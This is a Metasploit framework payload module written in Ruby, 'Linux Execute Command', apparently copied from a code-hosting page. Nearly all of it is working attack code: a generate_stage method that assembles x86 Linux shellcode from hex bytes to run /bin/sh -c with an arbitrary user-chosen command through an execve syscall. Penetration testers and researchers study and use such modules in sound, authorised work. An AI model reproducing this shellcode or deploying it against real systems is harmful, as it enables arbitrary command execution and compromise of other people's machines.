52 lines
1.1 KiB
Ruby
52 lines
1.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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###
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#
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# Exec
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# ----
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#
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# Executes an arbitrary command.
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#
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###
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module MetasploitModule
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CachedSize = 43
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => 'vlad902',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86))
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# Register exec options
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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#
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# Dynamically builds the exec payload based on the user's options.
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#
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def generate_stage(opts={})
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cmd = datastore['CMD'] || ''
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payload =
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"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68" +
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"\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52" +
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Rex::Arch::X86.call(cmd.length + 1) + cmd + "\x00" +
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"\x57\x53\x89\xe1\xcd\x80"
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end
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end
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